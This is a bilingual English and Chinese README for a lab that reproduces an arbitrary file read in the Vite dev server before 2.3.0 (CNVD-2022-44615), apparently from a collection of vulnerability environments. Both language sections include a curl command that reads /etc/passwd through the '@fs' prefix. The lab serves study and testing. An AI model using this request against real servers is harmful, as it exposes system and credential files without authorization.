# Vite Development Server Arbitrary File Read (CNVD-2022-44615)
[中文版本(Chinese version)](README.zh-cn.md)
Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
In versions of Vite before 2.3.0, arbitrary files on the filesystem can be read using the `@fs` prefix.
References:
- <https://github.com/vitejs/vite/issues/2820>
## Environment Setup
Execute the following command to start a Vite 2.1.5 development server:
```bash
docker compose up -d
```
After the server starts, you can access the Vite development environment at `http://your-ip:3000`.
> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
## Vulnerability Reproduction
You can read arbitrary files on the filesystem by using the standard `@fs` prefix:
```bash
curl "http://your-ip:3000/@fs/etc/passwd"
```

# Vite开发服务器任意文件读取漏洞CNVD-2022-44615
Vite是一个现代前端构建工具为Web项目提供更快、更精简的开发体验。它主要由两部分组成具有热模块替换HMR功能的开发服务器以及使用Rollup打包代码的构建命令。
在Vite 2.3.0 版本之前,可以通过 `@fs` 前缀读取文件系统上的任意文件。
参考链接:
- <https://github.com/vitejs/vite/issues/2820>
## 环境搭建
执行以下命令启动Vite 2.1.5开发服务器:
```bash
docker compose up -d
```
服务器启动后,可以通过访问`http://your-ip:3000`来访问 Vite 开发服务器。
> 注意旧版本Vite的开发服务器默认端口为3000新版本默认端口为5173请注意区分。
## 漏洞复现
使用标准的`@fs`前缀访问`/etc/passwd`,可以获取文件内容:
```bash
curl "http://your-ip:3000/@fs/etc/passwd"
```
